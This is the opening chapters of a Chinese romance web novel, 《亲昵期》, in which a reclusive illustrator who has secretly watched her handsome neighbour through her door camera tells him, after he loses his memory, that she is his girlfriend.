《亲昵期》
1. 第 1 章
《亲昵期》听鹿
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“砰!砰砰砰!”
急促的敲门声重重砸进安静的室内,应蓁宜屏息凝神,整个人警惕到了极点。
没有任何人会拜访她家,快递购物也备注了放在门口就行。
因此,她实在想不到门外的不速之客会是谁,只能惴惴不安地抱着膝盖坐在沙发上,脑补着各种糟糕的情况。
可外头的人似乎格外焦躁,敲门声接连不停,应蓁宜只觉得一股凉意从后脊窜入大脑,就在这一刻,手机嗡嗡的震动声打破了僵局——
“丁医生?”
她声音紧绷,喉咙里的恐惧几乎快要克制不住。
丁晓似乎很忙,没有第一时间察觉到她的不对,语速很快却依旧般温柔:“蓁蓁,我给你订了蛋糕,外卖员发消息说一直没人开门,你不在家是吗?”
应蓁宜愣了下,迷茫喃喃:“蛋糕?”
丁晓终于意识到什么,再开口时声音发沉:“出什么事了?”
门外的人还在敲,应蓁宜陡然回过神,也猜到了外头的人是谁。
她穿上拖鞋来到玄关处,没有解开防盗链,而是小心翼翼地开了一条缝,果然看到了穿着外卖服的陌生男人。
见顾客终于开门,外卖员肉眼可见松了一口气。
待她接过蛋糕后,男人却没有直接离开,应蓁宜再次面露警惕,就要关门的刹那,对方急急拦着,示意她看手机屏幕——
【您好,我是聋哑外卖员,祝您用餐愉快,可以恳请您给个五星好评吗?谢谢!】
应蓁宜怔住,也忽然意识到为什么这个外卖员会如此重地敲门。
触及对方拘谨而淳朴的笑,心头忽然浮上愧疚。
“好。”
见她点头,外卖员感激一笑,这才匆匆离去。
应蓁宜曾看到有网友发帖子,听障患者说话时声音会特别大,敲门动作也很重,令他觉得很不礼貌。
可后来他才知晓,这是他们无意识的行为,并不怀有恶意。
“我会好评的,也会给他赞赏。”丁晓了解完情况,语气这才柔了下来:“本以为是惊喜,没想到让你吓到了。”
应蓁宜焦虑地抠了下包装蛋糕的礼带,笨拙地说着自己没有怪她。
和丁晓相识是因为她养的小仓鼠,深夜十一点,她崩溃地寻找还在营业的宠物医院,甚至鼓起勇气拨打点评软件上的商家电话,碰壁了无数次,最终等到了丁晓。
事后,她为自己半夜不礼貌的打扰道了歉,丁晓却依旧温柔地表示没关系。
应蓁宜不爱出门,没什么朋友,和人沟通时总是绷着戒备,也无法自如地面对他人的善意。
可丁晓和其他宠物医生不一样,不会在背地骂她神经病,不会敷衍,她很温柔,也很耐心。
渐渐的,应蓁宜不再去其他的宠物医院。
她只认定丁晓这个医生。
也因为小仓鼠,两人渐渐熟络起来。
丁晓摸清了她腼腆乖怂的性格,却从来没有笑话过她。
可丁医生明明比她小一岁,有时候却会像照顾妹妹般对她好。
这可真奇怪。
也是因此,应蓁宜还是不安的,无理的对丁晓保留了一分警惕。
拆开蛋糕,她先拍了张照向丁晓表示感谢,再往下划去,才发现爸爸给她转了一笔钱,备注是生日快乐。
她抿唇收下,随后像是回复公事般,挑了一个乖巧的表情包表示感谢。
“记得要许愿。”
愿望啊....
应蓁宜切了一块蛋糕,漫不经心地思考丁晓说的话。
咦?
手机亮白的光线落在女孩儿姣好的五官处,她乌黑清透的瞳底浮现一丝好奇,咬着叉子点进了帖子。
「你说会不会某天,我正躺在家里刷手机,忽然有个完美符合我xp的男人从天而降,说想要和我谈一场恋爱呢。」
应蓁宜的脑海中瞬间浮现对门男人的模样。
说起来,已经两天没有见到他了。
她倏地穿上拖鞋来到玄关处,解开防盗链,小心翼翼地探出个脑袋。在确定没人后,她悄咪咪地走到邻居的门口,将耳朵贴了上去偷听。
紧接着,又鬼鬼祟祟地双手扒着门,半眯着眼试图穿门看到点什么。
周遭静的让她有些心虚,换做平时,她自然不敢如此光明正大地做出这种偷窥行为,要怪,就怪那个男人.....
谁让他不回家的。
应蓁宜理直气壮地给自己找了借口,或许还是不甘心,她又贴着门偷听了好一会儿,这才耷拉着脑袋回到自己家。
前天裹得严严实实出门,却没想到她抱着零食走进电梯时,看见了本该出门工作的男人。
对方温和疏离地向她颔首,应蓁宜悄悄挪到角落的位置。
男人仿佛只将她当作了普通邻居,旁若无人地与电话里的人交谈,或许压根想不到,他身后这个瞧上去内敛胆小的女孩儿,不但在偷看,还在理直气壮地偷听。
他回来,是因为临时需要出趟差。
但说好的两天,如今已是傍晚,男人的身影还没有出现。
外面的世界这么危险,万一遇到车祸打劫火灾地震怎么办?
他真不乖。
应蓁宜咬着叉子,焦虑又烦躁地脑补了男人会遇到的各种糟糕情况。
不准时回家的男人不是好男人。
她愤愤又无理地在心里指责他,目光触及还没有被点燃的生日蜡烛,应蓁宜又低头,只见手机页面还停留在这条帖子上。
...
“呲”的一声,黑沉中亮起微弱的光痕。
在没有被照亮的角落,那只肥嘟嘟的小仓鼠两爪扒拉着玻璃窗,好奇地盯着不远处的主人。
女孩儿眼睫轻颤,蜡烛燃烧的热意无孔不入地侵入她的心脏,就连双颊也微微发烫。
那就许愿,明天一睁眼,男人就出现在她家。
应蓁宜对他是真的很有兴趣,甚至阴暗地幻想过,如果能把他关起来就更好了。
这样,就能探索他所有的秘密,让他听她的话,做一切....她想做的事情。
.....
应蓁宜的本职工作是恐怖类
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的插画师,还算是小有名气,接的商单已经排到了明年四月。
熬了一个通宵,她困倦地打着哈欠,给仓鼠添水添粮,正准备补觉,手机推送了一条购物签收的消息。
她提起精神,怯怯谨慎地将门开了一条缝。
用了两年的门镜在前几天出故障,无法透过监控观察外头,这令她十分没有安全感。
因此,应蓁宜决定安装好新门镜再睡觉。
她捣鼓得很是认真,以至于电梯忽然的“叮”声将她彻彻底底吓了一跳,倏地蹿回家里,急促的风重重带上了房门。
外面的人会是谁?
门镜还没有装好,她只能警惕地贴着门,试图听听外头的声音。
小区是一层两户,物业几乎不会上门。
她没有其他的待收快递,难道....是他回来了吗?
很快,外头静悄悄的,什么都听不见了。
应蓁宜纠结又窝囊地在玄关处来回踱步,时不时地将耳朵贴着门,抓心挠肝的样子像极了后头那试图越狱的金丝熊。
时间一分一秒地走着,挂着防盗链的门悄悄漏出一抹光痕。
应蓁宜乌黑的眸子里满是好奇与怯意,瞧见靠坐在门边的男人时,她又再次缩了回去。
静谧的房间里,心跳声咚咚,久久未能平静。
怎么会是他.....还靠坐在她家门口,脸色看上去也好苍白,是生病了吗?
应蓁宜懵懵地发了一会儿呆,过了好半晌,她探出个脑袋,在确定没有其他人后,才慢吞吞的,一步步挪到了男人的身边。
她屏息凝神,轻轻戳了下他的手,悄声试探:“你好....这是我家。”
他依旧阖着眼皮,连呼吸都格外的轻。
应蓁宜清透好奇的目光也渐渐大胆,缓慢描摹着男人锋锐优越的五官,心里很不合时宜地冒出一个念头——
他睡着的样子真好看。
应蓁宜壮着胆子碰了下他的脸颊,却没想到原本靠坐着的男人会忽然失力,整个身躯猝不及防地倒向她。
陌生的肢体接触令她招架不住,惊恐抱住他的同时,因为重心不稳被迫跌坐在了地上。
男人的头无意识地靠在了她的肩上,微弱的呼吸若有若无地洒在她的颈窝处,泛起很轻的痒意。
应蓁宜呆滞片刻,目光僵硬而缓慢地垂落,听着自己咚咚的心跳声,她鬼迷心窍地凑近,没敢做什么,只是轻轻嗅了下鼻子。
干净又清冽,他真好闻。
一直坐在外头也不是个办法,应蓁宜强迫自己清醒,吃力地将人扶了起来,回到客厅,却不小心随着他跌倒了沙发上。
她几乎是条件反射地撑起身体,乌黑的眼里渗满了警惕与窘迫。
但幸好,他始终没有睁眼。
松了一口气的同时,应蓁宜也觉得茫然。这样的情况毕竟是第一次遇到,她不知道接下去该做点什么。
或许,要去医院吧....
她本想喝杯冷水冷静,可触及冰箱里还没有吃完的生日蛋糕,又忍不住望向那昏迷的男人。
所以,他是来实现她的生日愿望的吗?
2. 第 2 章
应蓁宜犹然记得第一次见到他的场景。
刺骨的雨天,她从宠物医院回来,抱着一个仓鼠笼,另只手勾着湿漉漉的雨伞,发梢染着凉意,裤腿还在滴水,模样实在是狼狈。
“叮”的一声,电梯门敞开的刹那,她拿着打开手电筒的手机,脚步迟钝地滞住。
对门一直没人居住的房子大门敞开,一个陌生的男人正站在梯子上,微弱的光从窗外透了进来,他斯文的衬衣袖口被挽起两节,手臂贲张着清晰的肌理线条,其中一条长腿微屈,踩在略高的一阶上,仰头拧着灯泡,整个人却透着几分松弛的随意。
手电筒刺眼的光照令他不由眯眼看了过来,应蓁宜愣愣撞上那双陌生而漆黑的深眸,反应过来什么情况,窘迫而慌乱地关了照明,讪讪轻声地说了声抱歉。
男人却只是毫不在意地淡淡一笑:“没关系。”
应蓁宜的心跳莫名紊乱,她匆匆垂下眼,抱着怀里的东西走到门口,却在无形之中觉得,有道炽热而浓烈的目光笼罩而来,后颈仿佛被灼烧着热意,令她无所适从——
“您好。”
“滴滴滴!”
密码输入错误。
应蓁宜稳着呼吸,她回头望去,只见男人眉眼温和,格外礼貌地询问:“可以麻烦帮我拿一下工具吗?这个灯坏了,出入总会不方便。”
她佯装镇定地点头,放下手中的雨伞和仓鼠盒,将地上的道具递了过去,却在无意间,指尖相碰。
应蓁宜仓皇地收回视线,相比她的局促不安,男人依旧从容温和:“谢谢。”
她眼睫轻颤,含糊地应了一声,匆匆输入密码,“滴滴”两声过后,是房门被关上的动静。
应蓁宜没有第一时间打开灯,而是将手中的东西丢在地上,紧接着,急促点开了门镜的监控系统,就这么一瞬不瞬地盯着镜头里的男人。
走廊里的灯已经坏了很久,她联系过物业,可物业存在的意义简直接近于零。
应蓁宜其实挺怕黑的,但想到自己也鲜少会出门,久而久之就将这件事忽略了。
除了察觉到男人处理的动作娴熟,应蓁宜还发现.....他的腿很长。
斯文干净的衬衣,宽肩窄腰,即使在监控里也能发现,他的身形格外优越。
修完灯,男人缓慢地从阶梯上下来,却没有直接离开,而是细致地将一切收拾好。
做完这一切大概过去了十分钟,应蓁宜盯着这个陌生的男人,怎么也无法移开视线,直至对方进屋,监控里只剩一片寂寥昏黄的光线。
她的心里莫名空荡荡的,有关他的一举一动却在脑海中挥之不去,甚至后知后觉地想到了男人的双腿。
他右腿走路有些不平,似乎....是受过伤。
性格原因,应蓁宜几乎不能坦然与他人相处,甚至到了畏惧社交的地步。
可那个晚上,仅一面之缘的男人竟出现在了她的梦中。
她忽然产生了从未有过的兴趣,甚至偷偷开始观察这个新邻居。
他是个生活极其规律的男人,每天早晨八点就会出门工作。
应蓁宜还发现他的一个小习惯,在等电梯时,他总会漫不经心地整理袖口,即使是背对着的,那优越出挑的身形依然让人觉得养眼。
也是因此,应蓁宜猜测他大概有一份类似律师的职场精英工作。
他会在傍晚的七点十分准时从电梯里出来,手里常常拎着一袋新鲜的蔬菜水果。
看起来,他喜欢自己做饭。
应蓁宜注意到,他似乎是个很有洁癖的男人,因为他每周末都会进行一次清扫。
风和日丽的下午,她躲在门后,咔擦咔擦咬着薯片看监控里的男人。
不同于工作时斯文的衬衣,他穿着舒适悠闲的宽松毛衣,将大门敞开通风,过了好一会儿才拎着一袋垃圾出来。
阳光从窗外落拓进来,折射在男人的侧脸处,将那凌厉的轮廓勾勒出了几分温柔。
他搬过来的这几个月,几乎没有谁来拜访过。
应蓁宜也渐渐摸清了男人的生活习惯,枯燥、规律,可她却始终不觉得无趣,日复一日的,总要准时透过监控观察他。
后来,她偶然从物业那得知了男人的名字——宋琢。
真好听。
人有时候真奇怪,应蓁宜对大部分的陌生人都会油然而生戒备与警惕,却对这个一面之缘的男人产生了极浓的兴趣,甚至到了不可抑制的地步。
她的目光,开始一寸寸地描摹他的五官,锋锐的眉眼,高挺的鼻梁,再至往下,竟觉得他从头到脚都很值得欣赏。
偶尔,她会在电梯里偶遇他。
女孩儿鼻梁上架着一副乖巧的黑框眼镜,内敛腼腆地缩在角落,宋琢总是会很礼貌地向她颔首,却又格外有分寸感,没有过多的交流。
因此,他大概不会发现,身后那双乌黑的眸子正偷偷看他。
也不会想到他这个安静不爱与人沟通的邻居,早就脸颊发烫地浮想联翩。
他看上去真好吃。
应蓁宜常常自我唾弃,原来自己的骨子里藏的是这种变态兴致吗?
但下一秒,她的平板上便会出现和宋琢极为相像的五官轮廓.....
鬼鬼祟祟地观察了他几个月,她将自己对宋琢的兴趣理解为一见钟情。但性格原因,她不敢像其他女孩儿一样勇敢热烈地追求,只能像只阴暗的老鼠般躲在角落偷看他,妄想他.....
如今他晕倒,也算是自己送上门来,她应该抓住机会的,不是吗?
.....
九点三十分,窗帘紧闭的卧室里,笼罩着暗沉沉的静谧。
应蓁宜被一阵紧促的铃声吵醒,她闭着眼摸索开灯,这才迷迷糊糊地接起了电话。
听完那人说的话,她迟钝地睁开眼,忍着瞳孔因为光线而泛起的刺痛,怔怔呢喃:“什么?”
电话里的人匆匆重复了一遍,她呆滞地坐在床上许久,终于理清了自己听到的内容。
....
应蓁宜站在病房外,还有片刻的恍惚,不知道自己过来是不是一个正确的选择。
她莫名开始退缩,纠结的始终推门而入,直到有护士从里头出来,瞧见她,对方立刻道:“宋琢的家属?”
应蓁宜硬着头皮点了点头,在护士的视线下,只能走进了病房。
听见动静,躺在病床上的男人望了过来,他的脸色依旧苍白,那双温和干净的黑眸透着毫无波澜的平静,偏偏这一眼,令应蓁宜很没出息地心软,抿唇走了过去。
“是你将我送来的医院?”
他的声音还有些哑,不紧不慢的,应蓁
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宜轻轻点头。
昨晚纠结很久,她还是良心不安,叫了救护车把人送到医院。
本以为这件事会这么过去,却不想一个小时前她接到电话,得知.....他似乎什么都不记得了。
包括他的名字。
昨夜留了电话,医院也只能联系到她。
善心本该到此为止,后续的所有情况她其实根本不需要负责,但她鬼迷心窍的....竟真的赶了过来。
应蓁宜看着神色平静的男人,纠结又试探性地喊他的名字:“宋琢?”
这是她第一次,光明正大地念出这两个字。
宋琢漆黑的眼眸望向她,沉默半晌,终于低低道:“抱歉,我什么都不记得了。”
他并没有流露出什么茫然又可怜的无措模样,偏偏就是这般的安静、沉寂,让应蓁宜有些招架不住,心软到根本不能甩手就走。
但她也是第一次遇到这种情况,也顾不得别的,语气不由多了几分着急:“你的手机呢?联系一下你的朋友?”
宋琢的眼眸静得毫无波澜,就这么望着她,默了一瞬,才轻声询问:“你,不是我的朋友吗?”
应蓁宜哑了片刻,诚实地说:“我们....只是邻居。”
“....”
病房陷入了诡异的沉默,宋琢拿起手机,眼睫敛下了一小片的阴影:“我试过很多次,但还是不记得。”
“.....”
正好医生过来查房,应蓁宜移开视线询问宋琢的情况。
“他的脑部曾经受过伤,那块阴影一直未消。再加上前段时间过于疲惫发高烧,估计是因此刺激到了旧伤,引起的短暂性失忆。”
她拧着眉,“那大概什么时候会恢复?”
“说不准。”
医生也没想到叫过来的会是患者的邻居,叮嘱了几句便离开了。
应蓁宜其实从刚才就察觉到,宋琢的目光一直在她身上。
她心绪紊乱地看了过去,只见男人静静地靠坐着,脸色苍白,不同于平日里西装革履斯文精英的模样,反倒透着几分令人心疼的病弱美。
“牵扯到你了,抱歉。”
他嗓音低低的,却藏着不难察觉的歉意。
应蓁宜知道,自己现在完全可以转身就走。
但她的双脚像是钉在了原地,望着宋琢平静苍白的模样,她抿着唇,竟鬼迷心窍地试探道:“要不,我们先回去?”
他幽深的目光就这么望了过来,应蓁宜没出息地咽了下喉咙,也后知后觉意识到自己话里的歧义,磕磕绊绊地解释着:“我是指,你家。”
“说不定回去,你就能想起什么了。”
宋琢静静看着她,轻轻颔首,温声道了一声好。
仿佛这个时候,无论她说什么,他都会答应。
应蓁宜还是有些不自在,想着先去帮他取药,却忽然被人攥住了手腕。
她怔怔地看了过去,只见宋琢从病床上下来,他的腿不好,向她走近时,还轻轻跛了一下。
男人幽深沉静的目光始终注视着她,“一起去,可以吗?”
他低声的询问都令应蓁宜心跳紊乱,甚至忘了回答,只是不合时宜地冒出了一个念头——
他似乎不想和她分开。
失忆的他,似乎有点依赖她。
3. 第 3 章
宋琢腿不好,走路实在有些慢。
但应蓁宜没有流露出任何的嫌弃与不耐,而是克制不住地偷看他,乖巧的脸上毫无波澜,内心却雀跃地遐想道——
他持手杖应该会很好看。
她甚至已经在脑海中一笔一划描摹出男人的模样,黑沉木,金杖柄,身形优越高挑,眉眼温和,拄着手杖,不显狼狈,反倒多了几分温文尔雅的斯文禁欲。
“你看了我很多次。”
宋琢沉静的嗓音从头顶落下来,应蓁宜回过神,怔怔地看了过去,他脸色苍白,可那乌润的目光始终温和注视她。
他的从容令应蓁宜忍不住怀疑,他真的失忆了吗?
如果有一天她醒来发现自己什么都不记得,面对陌生的一切,恐怕会恐惧到了极点,根本不可能保持冷静。
她思绪飘散,没注意到宋琢垂下了目光。
“是我走太慢了吗?”
男人声线不疾不徐,却明显藏了几分晦涩。
应蓁宜陡然从遐想中抽离出来,双颊泛烫,觉得自己真是疯了。
他都这么可怜了,她居然还在馋他.....
“不是不是....”她窘迫地否认着,磕磕绊绊地找了个借口:“我是在想,有没有其他人能帮助你。”
但从观察他的这几个月来看,他似乎没什么朋友,就像她一样的孤僻。
这种仿佛同类的错觉,令应蓁宜心里泛起微妙的窃喜,甚至卑劣地冒出一个念头——
他只认识你!不要想了,把他拐回家吧!
宋琢不知道她的脑补,只是静静注视着她,仿佛百般信任。
电梯“叮”声提示到达楼层,应蓁宜从乱七八糟的思绪中挤出一丝理智,佯装镇定地示意他:“到了。”
宋琢随着她走出电梯,点开密码锁,尝试输了几次,都被提示错误。
应蓁宜偷偷瞄了他一眼,男人苍白的脸上浮现些许疲惫,她蜷着手,明白自己此时完全可以置身事外转身就走,但心底的某种贪念却不断地雀跃涌动,双脚无论如何都没办法挪动,就这么鬼迷心窍地邀请道:“要不要去我家休息一会儿?”
宋琢看着面前的女孩儿,明明她方才赶到医院时,整个人都透着局促不安,除了迷茫,还有怯怯的拘谨。
可现在,他发现,她似乎在拙劣地表演冷静,那双干净乌黑的眼里是藏不住的心虚与忐忑。
像是第一次做坏事的乖小孩。
男人没有直接答应,而是谦逊温和地说:“你已经帮我够多了,怎么好意思再打扰你。”
他礼貌绅士的拒绝令应蓁宜无地自容,他都这么惨什么都不记得了,她居然还想要趁虚而入。
她眉眼间浮现愧疚,克制着心底的杂念,再开口时,明显真诚多了:“没关系的,我们毕竟是邻居....”
宋琢注视着她,这一次,没有再拒绝,微微笑着感谢:“给你添麻烦了。”
他这般坦荡,这般信任,应蓁宜在心底再一次唾弃自己——
做个好人吧!!
她转身仓促按着密码,许是太过心虚,皮肤热意蔓延,“滴滴”两声,她重重推开房门,没有看身后的人:“你先进来吧,我给你倒一杯水。”
宋琢跟随着女孩儿进来,余光瞥见门镜的监控设备,却没有太大的波澜。只一眼便静静收回了视线,反手关上门,神色自若,令人瞧不出异常。
应蓁宜咕噜咕噜灌着水,期间还在偷偷观察他。
宋琢没有越界地打量她的家,而是安静地立在那,见她看过来,也只是温和礼貌地询问:“需要换鞋吗?”
应蓁宜唇湿润润的,却还是觉得口干舌燥,咽了下喉咙才回答:“不用的。”
第一次邀请外人来家里,她不知道该做什么,只能心不在焉地给他倒了杯水。
反倒是宋琢,明明失忆的人是他,却始终从容平静的模样。
喝了冷水,应蓁宜稍稍清醒了几分,“要不我找个开锁匠吧?”
宋琢看进她的眼里,道了一声好。
他温和的目光令她的理智岌岌可危,沉默低下头,捣鼓了好半天终于联系好开锁师傅。
“大概半小时内会过来。”
应蓁宜想,她终究还是选择做个善良的好人。
但宋琢这一次没有直接应,沿着他的目光望去,只见他正看着那巨大的玻璃房子。
应蓁宜蜷着手,偷瞄了他一眼,才佯装风轻云淡地问道:“你也喜欢金丝熊?”
宋琢收回目光,他默了两秒,沉静注视着她的眼里似乎掠起一瞬的波澜,却轻到令她怀疑,是不是自己的错觉。
“你喜欢仓鼠?”
宋琢没有回答,而是反问。
应蓁宜奇怪地看了他一眼:“当然是喜欢才养的。”
宋琢敛下眼皮,再开口时,已然如往常般温和:“可以看下它吗?”
“当然。”
全世界的主人都会觉得自己的宠物是最可爱的,应蓁宜也不意外。
她指着爬梯后那圆滚滚的一团,期待地问:“它胆子小,但是很可爱对不对?”
宋琢个子高挑,这般俯视的状态,可以将金丝熊的整个城堡尽收眼底。
但他还是缓慢寻找到应蓁宜所指的地方,静静看了好一会儿,望进女孩儿干净的眼里,这才低低嗯了声。
“它有点胖。”
应蓁宜讪讪心虚:“在减肥了。”
开锁的师傅还没有来,这样干巴巴的气氛令她觉得很奇怪。
宋琢的脸色依旧苍白,安安静静地坐在沙发上,阖着眼皮,令她觉得有些可怜。
她也终于明白,为什么有人看到流浪猫会忍不住拐回家了。
“你要不要看这个打发时间?”
他的手机被锁住了,应蓁宜从抱枕底下抽出平板,宋琢面对女孩儿真诚又笨拙的安慰,没有拒绝,还微微笑着道了声谢。
笑得真好看。
要不让开锁师傅别来了吧....
不行,应蓁宜你怎么能趁虚而入呢?
而且你只是偷偷观察了他几个月,万一他不是个好人呢?
理智与贪念不断打架,应蓁宜摸着自己的脸胡思乱想,又忍不住看他。
平板冷白的光线折射在男人锋锐优越的五官处,低垂的眼睫敛下了一小片阴影,有些看不清情绪。
他的鼻梁好高,唇好像有点干涩....怎么不喝水呢?
应蓁宜的目光漫不经心地往下,只见他的手背贲张着青色脉络,手指很长很漂亮,是可以做指模的程度,就这么缓慢划动平板也格外的赏心悦目。
平板....
!!
应蓁宜的心瞬间提了起来,她头皮发麻,毫无征兆地倾身扑过去,就要夺走男人手中的平板——
却出乎她意料的,宋琢游刃有余地躲开了她的袭击,长臂往后将平板拿高,幽深沉静的目光就这么攫住了她的视线。
应蓁宜太着急,一时间
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也忘了与人保持距离,半条腿跪在沙发上,伸出去的那只手就这么僵在半空,看到平板停留着的页面,整个人如坠冰窖。
宋琢漆黑的眼里晦暗涌动,看着近在咫尺的女孩儿,声线温和却透着些难以捉摸的深意:“你在画我?”
应蓁宜大脑一片空白,唇瓣翕动,一时间竟说不出一个字来。
她....确实有画他。
画的还是一些....不堪入目的内容。
他看到了。
他会不会以为她是变态啊....
她不是这样的人....
应蓁宜耳廓升温,心虚到声音不稳:“你先还我。”
却不想,向来温和绅士的男人根本不如她所愿,只是平缓而冷静地问出自己的疑惑:“为什么我晚归,你会不高兴?”
平板上的内容,让应蓁宜简直快要烧起来了。
他的晚归令她觉得烦躁不安,只能用自己的方式来惩罚这个她无法得到的,不着家的坏男人——
画点乱七八糟的东西。
【不回家的宋琢真的很令人讨厌!】
应蓁宜将平板抢了过来,心虚慌乱地胡诌:“别自恋,你是大众脸。你,你只是刚好和我画里的男主角撞脸撞名字了而已。”
她底气不足,根本就不敢看他。
许是太过慌乱,站起身的刹那腿一软,就要摔倒之际,身后横过来一只有力的臂膀,将她捞了起来。
“.....”
宋琢没有收回手,嗓音依旧温和,明明没有任何质问的语气,却在无形之中令她觉得无法逃脱:“是么。”
“那为什么你的手机里会有我的照片。”
应蓁宜懵了,讷声质问:“你怎么偷看....”
这个时候,宋琢竟还好脾气地解释:“你刚才解手机的时候不小心看到的,我向你道歉。”
“....”
这显得他很包容,而她很无理取闹。
看着明显不知所措的女孩儿,宋琢却没有一点儿要放过她的意思,温柔地步步逼近:“可以开始解答我的疑惑了吗?”
“你说我们只是邻居。”
“那么,你做这些,是在偷窥我吗?”
“不是!”
应蓁宜抖着声音反驳,触及男人沉静深邃的目光,她慌乱地,又失去理智地胡诌:“我们不是邻居。”
“嗯?”
宋琢漆黑的眼中多了几分疑惑。
应蓁宜清楚知道,自己一共偷窥了他四个月零十二天。
从最开始的警惕害怕,到有兴趣,渐渐的,她幻想过很多次。
她也真的很喜欢他。
反正是他自己送上门来的。
反正他什么也不记得了。
她原本都打算做个好人了,是他自己发现,也是他要问的。
都怪他。
谁让他搬过来的。
谁让他这么好看。
是他给了她趁虚而入机会。
第一次欺骗一个男人,她磕磕绊绊的,底气实在不足:“其实、其实我们是在谈恋爱。”
宋琢明显愣住了,可话已经说出口,她已经没有回头的余地,心虚地移开视线,硬着头皮解释道:“你是我男朋友,情侣之间拍个照,很合理。”
拙劣的谎言,漏洞百出。
但要是他不信.....
他不信的话,她就立刻把他赶出去。
让他真的无家可归。
4. 第 4 章
空气陷入诡异的沉默,明明是在自己家,应蓁宜却觉得焦虑到有些喘不过气。
突兀的敲门声会让她觉得不安;雷雨天,她会恐惧到躲起来;深夜仓鼠生病,她怕到身体发抖,差点摔一跤;一个人外出,她总会不安地将自己裹得严严实实。
似乎在她的记忆里,自己从小到大就是这般容易觉得不安。就像此时,无声的对峙令她焦躁到想躲起来。
“那为什么刚才要说,我们只是邻居。”
宋琢没有流露出任何质问的、怀疑的情绪,那双深邃的眼眸始终温润平和,应蓁宜怔怔回过神,讷讷道:“你信我说的?”
他没有回答,而是循循反问:“为什么这么问?你是在骗我吗?”
应蓁宜心跳咯噔一声,几乎是下意识地反驳:“当然没有。”
她对宋琢的印象如同温润的玉,他斯文,绅士,此时安静地注视着她,似乎包容了许多耐心,在不经意间抚平了她的不安。
“我只是觉得,如果是我失忆,恐怕没办法那么直接相信别人。”
顶着男人的目光,她底气不足,却还是硬着头皮,佯装成生气的女朋友,倒打一耙:“你要有点警惕心,不然谁说你们在谈恋爱,你都信吗?”
宋琢静静看了她许久,也不知信没信,沉默让应蓁宜坐立不安,偏偏此时,急促的铃声打破了冷寂。
是开锁的师傅到了。
她匆匆跑去开门,宋琢盯着女孩儿明显透着慌乱的背影,不疾不徐地跟了上去。
应蓁宜爽快付好钱,身边落下一道阴影,她垂着眼睫嘀咕:“那我先回去了——”
却不想,宋琢竟抬手虚虚拦住了她。
开锁师傅极其专业,这么一眨眼的时间就将锁解开了,也不管这两人什么情况,拎着工具包匆匆离开。
“我确实不太相信我们是情侣。”
男人的话让应蓁宜脸色倏地发白,她知道自己的谎言很拙劣,很容易被看穿,可真到了这一刻,一种无地自容的难堪令她大脑一片空白。
“你看上去并不喜欢我。”
宋琢收回了手,只见女孩儿呆呆地抬起眼,瞧上去有些懵,“什么?”
“你好像不愿意和我待在一起。”
应蓁宜后知后觉地意识到他不相信的原因,唇瓣翕动,干巴巴地说一个理由:“那是因为....因为我们还在冷战。”
他怔愣片刻,显然没想到会是这样的原因,“所以,你才说我们只是邻居?”
他的反应倒是给了应蓁宜不少底气,她点头:“是你单方面惹我生气,我还没原谅你,所以不想和你在一起。”
女孩子埋怨的语气,仿佛真的在和男朋友生气。
宋琢也不知道在想什么,应蓁宜悄悄注意着他的反应,过了好半晌,他低声说了句抱歉。
她讷讷不解,“为什么道歉?”
宋琢的口吻中多了几分自嘲:“我什么都不记得,让你担心了。”
“.....”
应蓁宜觉得自己的心仿佛被撞了下,缓缓移开视线:“没关系....”
他真的相信了吗?
还是说,失忆会让人变傻。
宋琢居然又问:“我平时,是怎么称呼你的?”
应蓁宜回过神,克制着心底雀跃的跳动说:“蓁蓁。”
男人颔首,不疾不徐地询问:“蓁蓁,陪我进去看看,好吗?”
应蓁宜本来就喜欢他,这样温柔的语气,她根本不可能拒绝。
就这么鬼迷心窍地跟他走了进去,应蓁宜强迫自己移开视线,也开始悄悄打量男人的房子。
但出乎她意料的是,宋琢这房子的风格,和她想象的不太一样。
她以为他会喜爱单调的冷色装修,却不想入目的是一片温馨。
没有阴冷的黑白灰,整体都是偏原木色的。
柔软整洁的沙发,地毯看上去很厚,光脚踩上去也不会觉得冷。他还养了些绿植,将落地窗的窗帘扯开,金灿灿的光瞬地倾斜而入。
是她喜欢的风格。
宋琢漫不经心地扫视了一圈他的房子,目光一转,静静观察着身边的女孩儿。
她小步小步挪动着看,明明乌黑的眼里满是好奇,却还是佯装着乖巧。
鬼鬼祟祟的。
再深入的卧室和其他房间被锁住了,应蓁宜偷瞄他,男人神色平静,似乎并没有想起什么。
她卑劣地发现,自己竟悄悄松了一口气。
“蓁蓁。”
宋琢仿佛已经接受了自己是她男朋友的事实,生涩而缓慢地念着她的名字,却令应蓁宜耳廓升温,晕乎乎地嗯了声。
“我们没有住在一起吗?”
他问的温柔而直白,应蓁宜愣了下,顺着他的话点点头:“毕竟要有各自的私人空间。”
她注意着他的神色,试探道:“你想起来了?”
“我这里,没有女士的用品。”宋琢很耐心:“而且,你不知道我家的密码。”
应蓁宜总有种被他看穿的错觉,她讪讪一笑,移开视线,仗着他失忆,直接把错推给了他:“本来是知道的。”
“但我们吵架,你不想让我找你,就换了密码。”
宋琢沉默片刻,向来沉静从容的男人竟露出了几分疑惑的茫然:“我恋爱的时候,竟然是这么幼稚的人吗?”
应蓁宜有点心虚,颇有点胡言乱语的意思:“嗯,你就是这样。”
“.....”
女孩儿满脸无辜,想不信都难。
宋琢垂下眼睫,也不知在想什么。
应蓁宜总是躲在阴暗的角落偷窥他,可真正站在他面前,光明正大地面对他时,竟有一瞬间的恍惚。
他是,相信她说的话了吗?
“蓁蓁。”
应蓁宜正走神,却下意识地回应道:“嗯?”
宋琢并没有因为自己的家想起什么,但这一刻,他似乎更在意这个问题:“我们为什么会吵架?”
应蓁宜张了张唇,一时间竟找不出一个理由。
一般情侣,都是因为什么吵架的?
她实在没有经验。
但在宋琢眼里,她迟疑的反应却是一个糟糕的情况。
男人苍白的脸色沉了几分,“是我做了对不起你的事?”
“不是不是!”
应蓁宜矢口否认,她心跳七上八下的,胡乱回答了一句:“我想画你,你不愿意。”
宋琢闭着眼,他抬手捏了下鼻梁,仿佛不愿意相信自己会是个这么小气矫情的男人,“.....就因为这个?”
应蓁宜也意识到自己把他塑造的过于差劲了,但撒了一天的慌,她已经无路可退,心虚地张嘴就来:“可能是因为,我想画的是不穿衣服的你。”
“....”
“你太保守,所以拒绝了我。”
话音落下,他似乎难言地沉默了。
应蓁宜觉得自己已经开始胡言乱语了,但.....但他什么都不记得。
过了好一会儿,宋琢才哑声道:“看来我不是一个很好的男朋友。”
“....啊?”应蓁宜懵懵的,不知道他怎么得出这个结论的。
“从你的描述中听来,我脾气不好,矫情,还不懂得包容你。”
